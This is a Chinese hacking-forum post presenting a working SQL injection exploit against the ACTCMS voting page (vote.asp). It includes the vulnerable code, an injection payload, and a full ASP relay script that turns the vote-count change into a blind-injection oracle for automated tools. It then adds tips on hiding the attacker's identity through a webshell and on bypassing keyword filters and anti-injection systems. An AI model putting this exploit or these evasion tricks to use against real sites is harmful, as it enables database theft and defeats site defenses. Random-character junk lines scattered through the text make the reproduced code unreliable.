注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
& |, r; N  i6 D链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
( w( M# Z6 T* A9 P, k3 m2 D& r关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
漏洞文件：
! f1 H, k2 `7 C* n& m! w  a( K( ?/plus/vote/vote.asp
- z$ K1 Y4 f4 o6 @# u代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
; A4 r. Y* k) y( T7 X
3    response.end   
6 b: m( A& V4 M, \0 w; N4 J
0 V% \6 K' [: y; D8 B% z% P- _; r) ?4    end if   

4 k$ X3 [4 y  @3 V: a: i% b- t  a$ M5    for i=1 to request("voted").count   

6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   
5 {* }& d2 G6 w6 D
5 z6 Z: f& x4 D2 C3 V  t" ]3 }8 b8....   

9response.Redirect "index.asp?id="&id&""   
: i/ E6 j- V* y8 b6 T9 R1 i投票结束回跳转回index.asp这个投票结果页面
" E. U3 l4 O3 Z" a% p# p如果投票成功票数加1
9 G; g6 ^0 O( D" o1 i            失败票数不变
' z' s1 E0 R8 ~1 f8 E- |- [$ D如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20
7 k/ }6 ]- W$ S4 M
利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
) V& R0 s! z  X7 O先用寂寞的刺猬大牛的注入中转生成jmget.asp
5 S- z9 _8 i. ^. s8 {! I! }注入地址：http://localhost/actcms/plus/vote/vote.asp
5 W* G  t6 Z5 ^; k; [3 P注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
' w5 }  A4 C  T; X) o
% l. I. ^8 p& N然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
6 ~6 f3 y9 j, K
02JmdcwName=request("jmdcw")
" ]$ r' B' J& g7 e
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

04JmStr="id=1&voted=-1 or 1="&JmdcwName

05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

8 j& E# U* L; H2 R+ a( R  v$ |07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

2 J3 t6 w) X) o' W08testurl=testurl & "?" & JmStr
3 _6 Q0 }  U" v
09JMUrl=JMUrl & "?" & JmStr

; b4 H  s# p+ Z, L0 j% C10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

. b+ }# z; F' A9 |" V11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

6 b- C. I+ Q6 _2 f! e; c* d9 k& `12JmCok=replace(JmCok,chr(32),"%20")  

0 \; m! X8 t7 F  o) l) p, F/ I13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
! X7 {7 k) O; v
14  

15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
& U6 D+ S2 {+ E  Y  Q7 d- K
. ^" f3 }* F* I" q" V16  
) h5 a6 x  a+ i( c
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
. v/ h0 q7 d3 l; O* ~  M
18response.write test1&""&test2&""

19  
  K( `, r/ ]- ?0 {9 y$ {1 k
, m0 U  |4 Z3 t20if test1=test2 then '如前后记录相等，表示失败

21  response.write "failed"

2 Q. O6 O& Z% ^0 K8 r- e% b0 m22else

23  response.write "succeed"

- r% U: Y& x- R  z" x: |2 a24end if  

/ ~: f! j! U7 T/ G- V+ K25  

26response.write "by 3x"

27  

+ R3 W* i9 D; h& Q6 n( \& R28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

9 d4 e8 Z2 o& d5 O" l+ M) y30Dim Http
. E5 F! b! T! h3 M3 W
4 E' U' A2 K( o31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

32With Http
3 L6 u* P$ {  n6 Q1 q3 V
/ [1 ?: _1 x$ ]6 N! y33  

+ j! z# s- k. v% O/ Z34.Open "GET",PostUrl,False
7 b5 `9 G8 j; X& k4 ]
; o5 v7 w. u- Y- l& T: G. j35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
0 Y5 w3 e7 P7 r7 w. {% ]
4 _: ?4 r- M+ j* W, e3 u: x# n( w& ~36.SetRequestHeader "Referer",PostRef
$ ^  c/ q& C- ^* i3 f+ i
. g( o7 t/ B) G0 M3 i  `. G7 w  [37.SetRequestHeader "Cookie",PostCok
0 d! I. V0 H2 }1 X3 K5 j
38.Send ()
( H( H4 q1 D% G+ J
4 }: |" ^& O. {  Y8 ^39PostData = .ResponseBody
; t) B2 |: G& B. A
& B7 v; x+ e& L8 S' r8 ]4 I40End With
! Y0 a* t2 b5 l" F. N9 e  A
41Set Http = Nothing

42PostData =bytes2BSTR(PostData)
) U( c! F) W9 A" r1 d/ M9 l
: \% E$ H3 A3 s. I43End Function
+ k$ @6 |% g0 T6 i5 R
# n* Y0 {2 `& I0 [8 a44  
1 L- `+ k' S4 R. j# R% y
45  
# f$ E- J0 t( K3 Y7 e, p
1 h, V, [6 \8 Y# H5 D7 p. w46Function bytes2BSTR(vIn)
: B$ x- i% w! s% W) e
2 N! P# e5 Y8 y9 u47Dim strReturn
4 h  S: e+ m  s% Y+ c: y2 w0 v% Q
2 @5 O! e) j. W% M2 P0 f4 ]5 z48Dim I, ThisCharCode, NextCharCode
7 s9 i3 l9 z* z# M
49strReturn = ""
' G1 Z# Z- ^4 ]. K  _+ n
50For I = 1 To LenB(vIn)

51ThisCharCode = AscB(MidB(vIn, I, 1))
4 u" f- P( j. w
52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)

54Else
) p0 E% A. K" g0 e, ?6 y! K% B  d
/ \* ?. @4 N1 X$ l6 U+ l  Q55NextCharCode = AscB(MidB(vIn, I + 1, 1))

  [+ T% ?$ S! l; J! L4 F56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

; A" h8 f/ b( E57I = I + 1
: ]! w' L* J- h
& z; N& S; i3 G5 c58End If

3 ]' N6 j( G* t& X8 L" s; I6 D) C59Next

60bytes2BSTR = strReturn
9 A, R$ O6 [$ \% S! y0 y# M
61End Function

* J: _* q, ?$ l+ z62  
2 v& c3 \, H( e- Y3 T
63Function URLEncoding(vstrin)  
! u( I3 n2 r  i
3 Q9 X4 i7 j7 D0 q  t) [9 L64strReturn=""

6 s4 P- n' Z8 k( n3 C+ b65Dim i
: {( y- y" C# |
& z/ q. z% _! e- j* F# a66For i=1 To Len(vstrin)

  x, }2 C. n& |  F  s4 a# [67ThisChr=Mid(vstrin,i,1)
; l2 @& }; K" L# o( w( w9 C: F
3 L1 W0 M# X0 h7 B4 e) `68if Abs(Asc(ThisChr))< &HFF Then
2 c8 X: Z8 c* c, C' U- C4 V
69strReturn=strReturn & ThisChr
% a% s3 C* k4 c4 a
70Else

71InnerCode=Asc(ThisChr)

" ^3 k5 _  o" O72If InnerCode<0 Then
4 V4 F6 c8 _% _, p
! p& I( T% q: j3 ?& T& k4 T& }; A73InnerCode=InnerCode + &H10000

) P4 F, S6 |  |  a) |4 v74End If
3 I1 w# W4 d6 a. }2 V6 m
75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
2 W" ^! I' q2 s+ w2 c
78End if

79Next

5 X/ j7 X' e8 p* D# x80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
6 r5 c2 _/ [( [3 M/ E
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
2 O! B# P: M& j/ S2 T4 l$ o
+ I" ~: e: c% b  \* G4 F1 ]82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

/ ^( N7 Z: `6 t) e9 u( N* p83URLEncoding=strReturn
# u* v4 P" N, a4 W& u' O- l8 d
3 x- T8 p" E1 ^$ w1 _3 r84End Function
4 F1 X( q/ `* [9 N% x" t" p! U* L
/ ]. Y! |0 @) ~; @85  

1 D# \# ?& S4 i; V86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")

; `* i( ?! W" J+ i& e3 L. L) C) S88  endpot=instr(startpot,body," ")
2 Z5 a$ C9 F0 D: }3 \; M. l
$ \$ r7 r# r* O5 {89  getSt=mid(body,startpot,endpot-startpot)
* V- E9 e" B- d2 }: {
  b( F5 ~- ~& b: s6 Q/ p5 a$ Y6 Q, i5 F90end function
9 y0 S* ~4 e7 d( @) i+ n. v
* a+ m, d4 A# O91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
& E" ]: k5 k  `* v8 h& O4 m投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
/ g  ^9 P1 m2 M
" ~0 m% d2 x: d' e! t  w2009-12-27 13:29
投票失败
6 Y, j% p' q, e9 w1 v0 i0 |& xhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

: k$ w! B/ A% Z1 y0 J2009-12-27 13:29
-------------------------------------------------------------------------------
! m" L% F% H8 g( N再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
! t9 Y7 J5 D' `& B; _5 k很抱歉。。。只能用单线程工具去注入。。。。。
$ n- V+ F% E" {  I所以失败。。。不好意思。。。
+ D; k( P  S5 a0 b3 e-------------------------------------------------------------------------------
% u3 a! K8 D8 l2 w/ J
/ {: W4 @3 ]5 D2 C, P6 Y2 m9 d注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
8 [" f) c0 y8 G8 h! r: k1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
& ~3 ~$ r4 p3 g( G9 `# K  [7 f2.post注入转成get型的注入，方便我们使用工具来跑
) D8 \& @! {! l/ @. s7 N3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
# e+ v& n: L, ~5 h5 [4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过